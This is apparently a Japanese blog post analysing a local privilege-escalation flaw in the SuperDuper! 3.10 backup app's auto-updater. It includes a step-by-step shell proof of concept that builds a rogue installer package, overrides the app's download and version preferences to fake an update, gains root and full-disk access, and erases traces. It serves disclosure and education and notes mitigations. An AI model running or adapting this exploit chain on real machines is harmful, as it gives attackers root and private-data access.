この問題は開発者が示唆するよりも深刻なようです。そのため、この部分が埋もれてしまわないようにしたいと思います。開発者はブログで次のように述べています:
これは、お使いのシステム上で動作中のプログラムが SuperDuper の更新を探していて、正規の手段で実際の更新が提示され、あなたが「アップグレード」をクリックした場合にのみ発生します。
これは実際には正しくありません。この脆弱性を悪用するために、正規の手段で実際の更新が提示される必要はありません。SuperDuper 3.10 以前が提供する更新は、絶対に受け入れないでください! これについては、以下で詳しく説明します。
この脆弱性が、特権昇格に限定されないことも重要です。むしろ、プライバシー管理の侵害も含まれます。その詳細は、開発者のブログ投稿からは省略されているようです。
開発者のブログより:
当社の自動更新メカニズムが乗っ取られ、SuperDuper ではないパッケージをインストールさせられる可能性があります。
当社はインストーラパッケージに署名し、公証を受けていますが、macOS のパッケージインストーラがインストールする際、Gatekeeper はその公証をチェックしていません。そのため、ダウンロード内容がすり替えられ、その代わりにインストールされる可能性があります。インストールは昇格した特権で行われるため、悪意のある第三者のプログラム (これもインストールする必要があります) がシステムへの管理者アクセスを取得できる可能性があります。
CVE より:
Shirt Pocket SuperDuper! V.3.10 以前の問題により、ローカルの攻撃者がソフトウェア更新メカニズムを介して任意のコードを実行できる可能性があります。
この記事の著者は、この脆弱性の発見者ではありません。発見者は SuperDuper 開発者によって「匿名のセキュリティ研究者」とされています。私はこの脆弱性の発見を主張するものではなく、技術的な分析に興味を持っただけです。
CVSS 3.1 スコア: 7.8 High (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
この脆弱性を回避するには、SuperDuper! アプリケーションを削除するか、3.11 アップデートを適用してください。
警告: この脆弱性を回避するには、開発者の Web サイトから直接アップデートをダウンロードする必要があります。
このエクスプロイト分析および概念実証は、教育目的のみで提供されています。利用は自己責任で行ってください。
SuperDuper の開発者は、何百人もの開発者やセキュリティ専門家によってテストされたオープンソースのソフトウェア更新ソリューションを実装する代わりに、ルート権限で実行されフルディスクアクセスを持つ安全でないシェルスクリプトの上に構築された独自のソフトウェア更新メカニズムを作成しました。更新中にインストールされるソフトウェアの認証に失敗することで、SuperDuper は攻撃者のソフトウェアをインストールするよう欺かれます。開発者の修正は、この脆弱性の認証の側面のみに対処しており、更新プロセスを容易にするためにシェルスクリプトを使用することに起因する本質的な脆弱性には対処していません。
開発者の「Gatekeeper は公証をチェックしていない」というコメントは誤解を招きます。Gatekeeper が関与するのは、ブラウザでダウンロードしたものを開こうとしたときだけであり、アプリケーションの内部ソフトウェア更新メカニズムには適用されません。ソフトウェアがダウンロードしてコンピュータにインストールするものを検証するのは、100% 開発者の責任です。この開発者に、これは Gatekeeper の欠陥だと信じ込まされてはいけません。エクスプロイトの核心は、攻撃者が SuperDuper を欺いて別のパッケージをインストールさせることであり、それは昇格した特権で行われます。おそらくフルディスクアクセスでも実行されるでしょう。なぜなら、SuperDuper は何をするにもフルディスクアクセスを必要とするからです。
開発者のブログには次のようにも書かれています:
これは、お使いのシステム上で動作中のプログラムが SuperDuper の更新を探している場合、正規の手段で実際の更新が提示され、あなたが「アップグレード」をクリックした場合にのみ発生します。
このコメントを見て、このエクスプロイトの再現はおそらく不可能だろうと思いました。なぜなら、3.11 パッチの投稿と同時に、更新メカニズムへのサーバー側の変更が行われているはずだからです。言い換えれば、古いバージョンのソフトウェアがこの脆弱性の影響を受けないようにするために、更新メカニズムを無効化しているに違いない、と。ところが…… 私は SuperDuper の古いバージョン をダウンロードし、それを開くと、すぐに更新通知が表示されました† – エクスプロイトまでのクリックは 1 回です。これは非常に興味深いと思いました。自動更新メカニズムが無効化されていない場合、古いバージョンのアプリケーションを使用しているユーザーは、この脆弱性からどうやって保護されるのでしょうか? (これはこの記事の冒頭で述べた「アラート」に関連しています。この質問には最後に戻ります)
† まあ、そんなところです…… 実際の結果は非常に奇妙でした。更新の説明もセキュリティ勧告もなく、ウィンドウは空白で、「スキップ」と「更新」ボタンがあるだけでした。つまり、古いバージョンのユーザーは、更新メカニズムが無効化されていることでエクスプロイトから保護されているわけではなく、更新メカニズムを通じて問題を知らされることもありません。
私は先に進みました。アップグレードを適用すると、バックエンドの仕組みが SuperDuper のログに丁寧に記録されるので、それがどのように動作するかを確認するために、まずそこから見ていきましょう。
Transcript : UpgradeTranscript.plist
Ext Logging : Disabled
PHASE: 1. Upgrade Application
...ACTION: Downloading upgrade package
......COMMAND => Downloading update package...
......COMMAND => Preparing update package
...ACTION: Installing upgrade package
......COMMAND => Preserving SDAgent owner and mode bits
......COMMAND => Installing upgrade package
installer[3148] <Debug>: Product archive /tmp/SuperDuper!.pkg trustLevel=350
これらのコマンドと手順には、少なくとも 4 つの問題があると思われます:
パッケージインストーラはシェルスクリプトを実行できるため、代替インストーラパッケージの攻撃ベクトルとしてはこれが選ばれるだろうと推測します。まず、preinstall スクリプトを実行するパッケージを作成し、それを更新メカニズムにどのように割り込ませるかを見ていきましょう。
# Use of the "/tmp/superduper_install" installation folder offers convenient cleanup by SuperDuper
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg
# create the script. /Library is only writable by root, so we will attempt to create a test file there.
# Getting the content of the Desktop folder requires a user-granted privacy privilege, so we will also attempt
# to pull that folder list into a text file on the desktop to see if we have full disk access. Note that to
# effectively test this part of the exploit, you should revoke Full Disk Access from Terminal.
cd ~; export home=`pwd`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\nexit 0\n" >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall
# build the package
pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg
# put the package in a tar archive
cd /tmp/superduper_install/pkg
tar -cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg
このエクスプロイトが攻撃者にどのようなアクセスを与えるかを確認するための簡単な余談です。シェルスクリプトを手動で実行すると(ターミナルにフルディスクアクセスや「ファイルとフォルダ」へのアクセスがない場合)、次の 2 つのエラーが表示されます:
touch: /Library/test: Permission denied
ls: /Users/user/Desktop: Operation not permitted
攻撃者はルートアクセスで多くの被害をもたらすことができますが、プライバシーアクセスもあれば、ホームフォルダ内のより広範囲のコンテンツにアクセスできます(デスクトップは些細に思えるかもしれませんが、隠し Library フォルダには 大量の プライベートデータが保存されています)。このエクスプロイトは、その両方を攻撃者に与えます。
さて、パッケージの作成は簡単な部分でした。更新メカニズムにどうやって侵入するのでしょうか? レースコンディションの悪用は明らかな候補でしたが、この手順のこの部分で介入できるのではないかと考えました:
/usr/bin/curl SDHTTPproxy.Host --silent --show-error --output /tmp/superduper.tar.gz -L SDdownloadURL
ホストとダウンロード URL の変数は明らかにスクリプトの外部から来ています。それらを操作できるでしょうか? Sparkle ソフトウェア更新メカニズムを使用するアプリは、多くの場合「ソフトウェア更新チェック」URL を CFPreferences に保存します。そこで、SuperDuper も同じことをするかもしれないと思いました。案の定、さらに悪いことに、更新をチェックするための URL だけを保存するのではなく、実際のダウンロード URL を CFPreferences に保存しているのです。
defaults read com.blacey.SuperDuper
...
UMdownloadURL = "https://s3.amazonaws.com/shirtpocket/SuperDuper/beta/superduper2.tar.gz";
UMfailureCount = 0;
UMinfoURL = "https://s3.amazonaws.com/shirtpocket/SuperDuper/beta/superduperinfo2.rtf";
UMpublicVersion = "137.7";
ローカルファイルシステムの URL で上書きを試みました:
defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
SuperDuper を再度開いて「更新」をクリックしましたが、更新は私の代替パッケージではなく開発者の更新をインストールしました。もちろんです – SuperDuper は起動時に更新を再度確認すると、defaults の値を書き換えました。今度は、SuperDuper が更新を提示した後に値を設定してみました。今度は機能しました! まあ、更新インストール自体は失敗しましたが、攻撃は成功しました – /Library/test ファイルが作成されました。
テストファイルを削除し、本当に機能していることを確認するためにテストを繰り返しました。また、デスクトップにある private_data ファイルにデスクトップのフォルダ一覧が含まれていることも確認しました – スクリプトはフルディスクアクセスで実行されていました。
ここで止めることもできましたが、エラーログには、SuperDuper が見つからないためにインストールが失敗したことが示されていました:
COMMAND => Copying upgrade bundle to temporary location
***ERROR OCCURRED: ditto: Cannot get the real path for source '/Applications/Utilities/SuperDuper!.app'
UpgradeTranscript.plist のシェルスクリプトのロジックを再検討したところ、SuperDuper アプリケーションを代替パッケージにコピーするだけでインストーラが実際に成功するかもしれないと気づきました(/tmp/superduper_install/SuperDuper!.app が存在しないために、ditto がそのエラーを吐いています)。これは思ったより困難で、SuperDuper はインストール中に常にクラッシュしていました。preinstall スクリプトにアプリを実行時に期待される場所へコピーさせる方がはるかに簡単でした:
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg
cd ~; export home=`pwd`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\n" >> /tmp/superduper_install/script/preinstall
printf 'cp -R /Applications/SuperDuper\!.app /tmp/superduper_install/SuperDuper\!.app\n' >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall
pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg
cd /tmp/superduper_install/pkg
tar cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg
[Open SuperDuper for the update presentation]
defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
今度は SuperDuper が偽のパッケージをインストールし、正常にインストールされたように見えました。SuperDuper は再起動して再度更新を提示しました。これは予想通りです。なぜなら、tmp フォルダに作成した古いバージョンのコピーを再インストールしただけだからです。エラーメッセージがないことは、平均的なユーザーに何も問題がないと思わせるのに十分でしょう。彼らは再び「アップグレード」ボタンをクリックし、今度は開発者のサイトから本物のパッケージをインストールするでしょう。その間、エクスプロイトはすでに実行されており、ユーザーは「変だな、でも今は動いているからいいか」と軽く受け流してしまいます。
ここには、この攻撃を実行するのを難しくするロジスティクスの問題がまだあります。攻撃者は、更新がユーザーに提示された後、ユーザーが「アップグレード」ボタンをクリックする前に、その「defaults」コマンドを実行する必要があります。確かに実行可能であり、バックグラウンドでその「defaults write」コマンドを無限に繰り返し実行することもできますが、それでは注意を引くでしょう。最初は、次のようにして設定ファイルをロックすれば回避できると思いました:
defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
chflags uchg ~/Library/Preferences/com.blacey.SuperDuper.plist
[wait for SD update presentation, then the user can go ahead and apply it without any extra steps]
しかし、それは機能しませんでした。設定の仕組みを考えてみると、それは当然のことでした。アプリケーションは設定を取得する必要があるたびにファイルを開いて値を読み取るのではなく、「CFPreferences」インターフェースに値を要求します。SuperDuper が UMdownloadURL の値を変更した場合、物理ファイルが変更されていなくても、CFPreferences はその変更をメモリ内に保持します。SuperDuper が後でその設定の値を要求すると、CFPreferences はキャッシュから取得します(そして、物理ファイルに変更が加えられるとキャッシュは更新されます)。
この時点で、どうしても気になることがありました – なぜ開発者はわざわざダウンロード URL を CFPreferences に書き込むのでしょうか? それらの値を CFPreferences に書き込むのは、CFPreferences から読み取る計画があるからに違いありませんよね? しかし、値をメモリ内のどこかの変数に保存するだけではだめなのでしょうか? この方法で CFPreferences を使用することには、経験豊富な Mac 開発者なら誰でも知っているべき 2 つの大きな問題があります:
私の理論をテストするために、アプリケーションドメインを上書きする "currentHost" ドメインに設定を書き込みました:
defaults -currentHost write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
その後、SuperDuper を再起動し、「アップグレード」をクリックしました – 代替パッケージがインストールされました。驚くべきことです。これにより、エクスプロイトの実行ははるかに簡単になります。攻撃者はその設定を配置しておくだけで、更新が投稿されるまで無期限に待てばよいのです。しかし待ってください。SuperDuper が設定からダウンロード URL の値を取得するなら、バージョン番号も取得するのではないでしょうか? 攻撃者は、開発者が更新を投稿していなくても、基本的に更新を誘発し、SuperDuper を欺いてそれを提示させることができるのでしょうか? すごいことに、はい! すべてをまとめると、攻撃者は以下のコマンドを実行して、古い(パッチ適用前の)バージョンの SuperDuper! に偽の更新を提示させ、代替パッケージをインストールさせ、その間に SuperDuper に攻撃の痕跡をすべて削除させることができます:
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg
cd ~; export home=`pwd`; export user=`whoami`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\n" >> /tmp/superduper_install/script/preinstall
printf 'cp -R /Applications/SuperDuper\!.app /tmp/superduper_install/SuperDuper\!.app\n' >> /tmp/superduper_install/script/preinstall
printf "sudo -u $user defaults -currentHost delete com.blacey.SuperDuper\n" >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall
pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg
cd /tmp/superduper_install/pkg
tar cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg
defaults -currentHost write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
printf '<span style="font-weight: bold; font-size: 11pt; font-family: sans-serif;"><span style="color: red;">SuperDuper 4.0 (v140)</span> is now available for automatic upgrade!</span>\n' > /tmp/superduper_install/update.html
textutil -convert rtf /tmp/superduper_install/update.html
defaults -currentHost write com.blacey.SuperDuper UMpublicVersion "999"
defaults -currentHost write com.blacey.SuperDuper UMinfoURL "file:///tmp/superduper_install/update.rtf"
open '/Applications/SuperDuper!.app'
代替パッケージをインストールした後に SuperDuper が再読み込みされると、更新は表示されなくなり、ユーザーは新しいバージョンをインストールしたと信じて続行し、エクスプロイトが実行されたことに気づくことはありません。
この記事の冒頭に戻ると、私はこう疑問に思いました。「自動更新メカニズムが無効化されていない場合、古いバージョンのアプリケーションを使用しているユーザーは、この脆弱性からどうやって保護されるのだろうか?」 結局のところ、開発者が自動更新メカニズムを無効化するかどうかは関係ありません。この脆弱性は、サーバー側の変更がなくても(またはそれにもかかわらず)悪用可能であり、開発者が「実際の」更新を投稿する必要すらありません。唯一の緩和策は、ユーザーがパッチ適用済みバージョンの製品に手動で更新するまで、自動更新を常に拒否することです。